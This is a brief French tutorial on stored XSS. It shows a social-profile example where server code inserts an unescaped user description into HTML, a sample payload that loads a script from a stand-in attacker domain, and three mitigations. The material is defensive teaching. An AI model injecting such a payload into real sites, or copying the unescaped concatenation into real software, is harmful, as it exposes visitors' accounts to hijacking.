JavaScript Script intersite persistant (XSS)


Exemple

Disons que Bob possède un site Web social qui permet aux utilisateurs de personnaliser leurs profils.

Alice se rend sur le site Web de Bob, crée un compte et accède aux paramètres de son profil. Elle définit sa description de profil en fait, I'm actually too lazy to write something here.

Lorsque ses amis voient son profil, ce code est exécuté sur le serveur:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Résultat dans ce HTML:

<div>I'm actually too lazy to write something here.</div>

Que Alice définit sa description de profil sur <b>I like HTML</b> . Quand elle visite son profil, au lieu de voir

<b> J'aime le HTML </ b>

elle voit

J'aime le HTML

Puis Alice définit son profil pour

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Chaque fois que quelqu'un visite son profil, le script d'Alice est exécuté sur le site Web de Bob alors que son compte est ouvert.

Atténuation

  1. Suppression des crochets dans les descriptions de profil, etc.
  2. Stocker les descriptions de profil dans un fichier texte brut qui est ensuite extrait avec un script qui ajoute la description via .innerText
  3. Ajouter une stratégie de sécurité du contenu qui refuse de charger le contenu actif d'autres domaines